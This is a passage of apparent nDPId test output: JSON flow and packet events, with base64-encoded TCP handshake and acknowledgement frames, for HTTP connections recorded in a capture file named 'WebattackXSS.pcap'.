{"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":6,"flow_first_seen":1499347374136,"flow_last_seen":1499347379720,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":6,"flow_first_seen":1499347375388,"flow_last_seen":1499347380720,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56522,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":6,"flow_first_seen":1499347375388,"flow_last_seen":1499347380720,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56522,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":6,"flow_first_seen":1499347376638,"flow_last_seen":1499347381720,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56536,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":6,"flow_first_seen":1499347376638,"flow_last_seen":1499347381720,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":6,"flow_first_seen":1499347379171,"flow_last_seen":1499347384721,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56562,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":6,"flow_first_seen":1499347379171,"flow_last_seen":1499347384721,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56562,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":6,"flow_first_seen":1499347380424,"flow_last_seen":1499347385722,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56576,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3986,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":6,"flow_first_seen":1499347380424,"flow_last_seen":1499347385722,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56576,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3989,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":1,"flow_first_seen":1499347446419,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57278,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":281,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3989,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347446,"pkt_ts_usec":419862,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oGtAAD4GJWWsEAABwKgKMt++AFBFYxsbAAAAAKACchBhzAAAAgQFtAQCCAoBOrtwAAAAAAEDAwc="} +00444{"flow_id":281,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3990,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347446,"pkt_ts_usec":420021,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ376sLltvRWMbHKAScSDKQgAAAgQFtAQCCAoD5IzmATq7cAEDAwc="} +00432{"flow_id":281,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3991,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347446,"pkt_ts_usec":420573,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oGxAAD4GJWysEAABwKgKMt++AFBFYxscrC5bcIAQAOVpSQAAAQEICgE6u3ED5Izm"} +00433{"flow_id":278,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3995,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347446,"pkt_ts_usec":734155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07qxAAD4G1yusEAABwKgKMt+IAFCFjlgrEbME0oARAOXh\/wAAAQEICgE6u78D5If2"} +00433{"flow_id":278,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3996,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347446,"pkt_ts_usec":734339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0iedAAEAGOfHAqAoyrBAAAQBQ34gRswTShY5YLIARAOPcwQAAAQEICgPkjTUBOru\/"} +00432{"flow_id":278,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3997,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347446,"pkt_ts_usec":735108,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07q1AAD4G1yqsEAABwKgKMt+IAFCFjlgsEbME04AQAOXcvwAAAQEICgE6u78D5I01"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4001,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":1,"flow_first_seen":1499347447671,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57292,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":282,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4001,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347447,"pkt_ts_usec":671102,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XZhAAD4GaDisEAABwKgKMt\/MAFDFCOExAAAAAKACchAayQAAAgQFtAQCCAoBOrypAAAAAAEDAwc="} +00444{"flow_id":282,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4002,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347447,"pkt_ts_usec":671193,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ38yhpTp2xQjhMqAScSCtiAAAAgQFtAQCCAoD5I4fATq8qQEDAwc="} +00433{"flow_id":282,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4003,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347447,"pkt_ts_usec":671946,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XZlAAD4GaD+sEAABwKgKMt\/MAFDFCOEyoaU6d4AQAOVMkAAAAQEICgE6vKkD5I4f"} +00432{"flow_id":279,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4007,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347447,"pkt_ts_usec":734095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WQFAAD4GbNesEAABwKgKMt+WAFAR1u9E++O5J4ARAOUd1AAAAQEICgE6vLkD5Iky"} +00432{"flow_id":279,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4008,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347447,"pkt_ts_usec":734281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NwhAAEAGjNDAqAoyrBAAAQBQ35b747knEdbvRYARAOMY2AAAAQEICgPkji8BOry5"} +00432{"flow_id":279,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4009,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347447,"pkt_ts_usec":735015,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WQJAAD4GbNasEAABwKgKMt+WAFAR1u9F++O5KIAQAOUY1gAAAQEICgE6vLkD5I4v"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4019,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":1,"flow_first_seen":1499347450180,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57318,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":283,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4019,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347450,"pkt_ts_usec":180333,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82VFAAD4G7H6sEAABwKgKMt\/mAFCGVWZMAAAAAKACchDR0wAAAgQFtAQCCAoBOr8dAAAAAAEDAwc="} +00445{"flow_id":283,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4020,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347450,"pkt_ts_usec":180468,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3+bg3FPQhlVmTaAScSAJjwAAAgQFtAQCCAoD5JCSATq\/HQEDAwc="} +00433{"flow_id":283,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4021,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347450,"pkt_ts_usec":181196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02VJAAD4G7IWsEAABwKgKMt\/mAFCGVWZN4NxT0YAQAOWolgAAAQEICgE6vx0D5JCS"} +00434{"flow_id":280,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4025,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347450,"pkt_ts_usec":734397,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/o1AAD4Gx0qsEAABwKgKMt+wAFCaOES\/oiWjboARAOWp7QAAAQEICgE6v6cD5Iur"} +00432{"flow_id":280,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4026,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347450,"pkt_ts_usec":734613,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MnNAAEAGkWXAqAoyrBAAAQBQ37CiJaNumjhEwIARAOOkfAAAAQEICgPkkR0BOr+n"} +00433{"flow_id":280,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4027,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347450,"pkt_ts_usec":735325,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/o5AAD4Gx0msEAABwKgKMt+wAFCaOETAoiWjb4AQAOWkegAAAQEICgE6v6cD5JEd"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4031,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":1,"flow_first_seen":1499347451427,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57332,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":284,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4031,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347451,"pkt_ts_usec":427343,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gftAAD4GQ9WsEAABwKgKMt\/0AFCzvkGvAAAAAKACchDHwgAAAgQFtAQCCAoBOsBUAAAAAAEDAwc="} +00445{"flow_id":284,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347451,"pkt_ts_usec":427471,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3\/Qj19JNs75BsKAScSA8zgAAAgQFtAQCCAoD5JHKATrAVAEDAwc="} +00433{"flow_id":284,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4033,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347451,"pkt_ts_usec":428202,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gfxAAD4GQ9ysEAABwKgKMt\/0AFCzvkGwI9fSToAQAOXb1QAAAQEICgE6wFQD5JHK"} +00432{"flow_id":281,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4037,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347451,"pkt_ts_usec":735187,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oG1AAD4GJWusEAABwKgKMt++AFBFYxscrC5bcIARAOVkGAAAAQEICgE6wKED5Izm"} +00432{"flow_id":281,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4038,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347451,"pkt_ts_usec":735435,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0yWdAAEAG+nDAqAoyrBAAAQBQ376sLltwRWMbHYARAONe6AAAAQEICgPkkhcBOsCh"} +00432{"flow_id":281,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4039,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347451,"pkt_ts_usec":735984,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oG5AAD4GJWqsEAABwKgKMt++AFBFYxsdrC5bcYAQAOVe5gAAAQEICgE6wKED5JIX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4043,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":1,"flow_first_seen":1499347452731,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57346,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":285,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4043,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347452,"pkt_ts_usec":731179,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OxxAAD4GirSsEAABwKgKMuACAFCP5\/qGAAAAAKACchAxbgAAAgQFtAQCCAoBOsGaAAAAAAEDAwc="} +00445{"flow_id":285,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4044,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347452,"pkt_ts_usec":731304,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4AJ1f\/zHj+f6h6AScSApEQAAAgQFtAQCCAoD5JMQATrBmgEDAwc="} +00434{"flow_id":285,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4045,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347452,"pkt_ts_usec":732048,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ox1AAD4GirusEAABwKgKMuACAFCP5\/qHdX\/8yIAQAOXIGAAAAQEICgE6wZoD5JMQ"} +00433{"flow_id":282,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4047,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347452,"pkt_ts_usec":735286,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XZpAAD4GaD6sEAABwKgKMt\/MAFDFCOEyoaU6d4ARAOVHnQAAAQEICgE6wZsD5I4f"} +00432{"flow_id":282,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4048,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347452,"pkt_ts_usec":735559,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qWZAAEAGGnLAqAoyrBAAAQBQ38yhpTp3xQjhM4ARAONCrAAAAQEICgPkkxEBOsGb"} +00433{"flow_id":282,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4049,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347452,"pkt_ts_usec":736310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XZtAAD4GaD2sEAABwKgKMt\/MAFDFCOEzoaU6eIAQAOVCqgAAAQEICgE6wZsD5JMR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4061,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":286,"flow_packet_id":1,"flow_first_seen":1499347455224,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57372,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":286,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4061,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347455,"pkt_ts_usec":224754,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8z+5AAD4G9eGsEAABwKgKMuAcAFC7QQvkAAAAAKACchDyLAAAAgQFtAQCCAoBOsQKAAAAAAEDAwc="} +00445{"flow_id":286,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4062,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347455,"pkt_ts_usec":224871,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4BwGoR45u0EL5aAScSA0zgAAAgQFtAQCCAoD5JV\/ATrECgEDAwc="} +00433{"flow_id":286,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4063,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347455,"pkt_ts_usec":225657,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0z+9AAD4G9eisEAABwKgKMuAcAFC7QQvlBqEeOoAQAOXT1QAAAQEICgE6xAoD5JV\/"} +00433{"flow_id":283,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4067,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347455,"pkt_ts_usec":735360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02VNAAD4G7ISsEAABwKgKMt\/mAFCGVWZN4NxT0YARAOWjKQAAAQEICgE6xIkD5JCS"} +00433{"flow_id":283,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347455,"pkt_ts_usec":735575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0xi5AAEAG\/anAqAoyrBAAAQBQ3+bg3FPRhlVmToARAOOdvQAAAQEICgPklf8BOsSJ"} +00434{"flow_id":283,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4069,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347455,"pkt_ts_usec":736314,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02VRAAD4G7IOsEAABwKgKMt\/mAFCGVWZO4NxT0oAQAOWduwAAAQEICgE6xIkD5JX\/"} 